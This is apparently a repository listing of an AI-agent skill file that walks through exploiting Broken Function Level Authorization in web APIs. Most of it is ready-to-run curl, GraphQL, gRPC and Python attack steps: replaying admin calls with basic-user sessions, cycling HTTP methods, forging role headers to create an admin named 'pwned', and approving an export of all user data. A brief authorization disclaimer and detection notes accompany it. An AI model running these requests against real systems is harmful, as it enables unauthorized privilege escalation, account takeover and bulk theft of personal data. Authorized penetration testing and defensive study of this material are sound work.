bfla

star 4.4k

Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.

PurpleAILAB By PurpleAILAB schedule Updated 5/30/2026

name: bfla description: "Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths." allowed-tools: Bash Read Write metadata: subdomain: authorization when_to_use: "BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix" tags: web-application, authorization, privilege-escalation, api, owasp-api5 mitre_attack: T1190, T1078.001, T1548

Broken Function Level Authorization (BFLA)

BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the action itself, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.

Authorized use only. Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.

Attack Surface

  • REST/JSON admin endpoints hidden from the UI but still live on the server
  • GraphQL mutations and admin fields absent from the published schema but introspectable
  • gRPC methods listed via server reflection that bypass gateway checks
  • WebSocket events where only the handshake was authorized
  • Background job create/finalize/approve endpoints that re-use session but skip role checks
  • Internal microservice RPCs reachable via SSRF or exposed routing
  • Feature flags enforced client-side / at edge but not at the core service

High-Value Actions

  • Role/permission assignment, user impersonation, sudo/su endpoints
  • Refund, credit issuance, price override, order void/cancel
  • Export/bulk-download of all user data or PII
  • Account suspension, deletion, reactivation, verification override
  • Feature flag toggle, quota/grant adjustment, seat/license change
  • 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts
  • Admin console CRUD (create user, delete user, assign group)

Reconnaissance

Build the Actor x Action Matrix

Before fuzzing, enumerate the roles and their expected actions:

# Capture all endpoints from JS bundles, API spec, and crawl
# Extract role-specific API paths from the frontend
curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u
curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c "
import sys,json
spec = json.load(sys.stdin)
for path,methods in spec.get('paths',{}).items():
    for method,info in methods.items():
        tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])
        print(method.upper(), path, tags)
" 2>/dev/null

For each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.

Obtain Sessions for Each Role

# Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin
# Store cookies/tokens for each role
curl -s -c unauthenticated.jar https://<TARGET>/api/me
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>'
curl -s -c admin.jar  -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>'

Signals That BFLA Is Present

  • Endpoint returns 200 for a lower-role token where 403/401 is expected
  • Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not)
  • Admin endpoints return a different error code (404 vs 403) — "security through obscurity" that still processes the request
  • Background job endpoints return 200 with a task ID even for non-admin callers
  • GraphQL mutation returns data when sent from a basic-user token

Testing Methodology

Step 1: Baseline with Admin Token

Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.

# Example: create a user as admin
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txt

Step 2: Replay with Lower-Privilege Token

Replay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.

curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt

# Diff: admin got 201 Created, basic should get 403
diff bfla_admin_baseline.txt bfla_basic_replay.txt

Win condition: basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.

Step 3: Method Alternation

Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE.

for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" -b basic.jar \
    -X "$method" https://<TARGET>/api/admin/users/1 \
    -H 'Content-Type: application/json' \
    -d '{"role":"admin"}'
  echo
done

Look for: method returning 200/204 where others return 403. Also try X-HTTP-Method-Override: DELETE on a POST request.

Step 4: Transport / Encoding Alternation

# JSON vs form-encoded (different middleware chains in some frameworks)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_id=2&role=admin'

# Try path with/without trailing slash (different route matches in some routers)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/

Step 5: GraphQL Mutations

# Attempt admin mutation with a basic-user token
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }"
  }' | tee bfla_graphql.txt

# Use aliases to batch privileged mutations and observe which succeed
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }"
  }'

Step 6: Background Jobs and Webhooks

Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently:

# Create job as basic user (allowed)
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \
  -H 'Content-Type: application/json' \
  -d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])")

# Finalize/approve job as basic user (should be 403)
curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \
  | tee bfla_job_approve.txt

Step 7: Header Trust Bypass

Some backends trust identity headers injected by a gateway/proxy. Supply conflicting headers:

curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
  -H 'X-User-Role: admin' \
  -H 'X-Forwarded-User: admin' \
  -H 'X-Auth-Role: staff' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwned","role":"admin"}'

Verification

A confirmed BFLA finding requires:

  1. Baseline contrast: admin token → 200/201; basic token → 200/201 (should be 403)
  2. Durable state change: subsequent GET or audit log confirms the privileged action persisted
  3. Minimal repro: single request that demonstrates the bypass (no intermediary steps)
import requests

TARGET = "https://<TARGET>"
BASIC = {"session": "<basic_session_cookie>"}
ADMIN = {"session": "<admin_session_cookie>"}

# Baseline: admin can promote
r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN,
                        json={"username": "probe", "role": "admin"}, timeout=5)
assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}"

# BFLA: basic can too?
r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC,
                        json={"username": "bfla_probe", "role": "admin"}, timeout=5)
print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}")

# Confirm durable state
me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json()
print(f"Role in DB: {me.get('role')}")  # should be 'admin' if BFLA succeeded

gRPC-Specific Testing

# List methods via server reflection
grpc_cli ls <TARGET>:443 --l  # requires grpc_cli

# Call admin method with basic-user token
grpcurl -H "Authorization: Bearer <basic_token>" \
  -d '{"user_id": 2, "role": "ADMIN"}' \
  <TARGET>:443 com.example.AdminService/PromoteUser

Common Framework Weaknesses

Framework Pattern Gap
Express/Node router.post('/admin', adminMiddleware) missing on router.put Method alternation bypass
Django DRF permission_classes = [IsAdmin] set at ViewSet but missing on action-level @action Custom action without permission decorator
Spring Security antMatchers("/admin/**").hasRole("ADMIN") but /admin (no slash) not matched Trailing-slash bypass
FastAPI Dependency injection on route but not on background task handler Background task runs with no caller
GraphQL (generic) Top-level query auth but resolver-level checks absent Nested mutation bypass

ATT&CK Mapping

  • T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint)
  • T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation)
  • T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint)

Detection Notes

Defenders should look for: a non-admin session token successfully invoking /admin/ or /staff/ paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.

Output Files

./
├── bfla_admin_baseline.txt        # Proof admin action succeeds
├── bfla_basic_replay.txt          # Proof basic-user bypass succeeds
├── bfla_<endpoint>_evidence.txt   # Durable state-change proof (GET after write)
└── bfla_summary.md                # Matrix of tested actions, methods, transports, results
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill bfla
Repository Details
star Stars 4,393
call_split Forks 875
navigation Branch main
article Path SKILL.md
More from Creator